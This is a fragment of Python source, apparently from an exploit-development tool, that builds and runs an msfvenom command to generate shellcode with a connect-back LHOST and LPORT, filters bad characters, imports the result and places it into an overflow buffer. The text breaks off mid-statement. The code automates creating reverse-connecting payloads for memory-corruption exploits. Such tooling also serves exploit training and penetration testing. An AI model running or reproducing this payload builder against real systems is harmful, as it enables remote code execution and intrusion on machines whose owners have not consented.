command = "msfvenom -a {arch} --platform {plat} -p {pay} LHOST={host} LPORT={port} EXITFUNC=thread -s {size} -b '{bad}' -f py -v payld -o {file}".format(
arch=shlex.quote(arch),
plat=shlex.quote(platform),
pay=shlex.quote(payload),
host=connect_ip,
port=connect_port,
size=payload_size,
bad='\\x' + '\\x'.join(str(char) for char in badchars),
file=tmp_file)
print_info("Executing command: " + command)
thread = call_command(command)
while thread.running():
animation('Creating payload')
# Proceed if finding offset was successful
if thread.result() == 0:
print()
from payload import payld
global payload_code
payload_code = payld
# Remove temporary file and folder
# os.unlink(tmp_file)
shutil.rmtree('__pycache__', ignore_errors=True)
# Update buffer with payload
global buffer
buffer = buffer_list.selected_buffer.get_buffer()
print_info('Buffer has been updated with new payload')
if len(payload_code) > payload_size:
print_warning(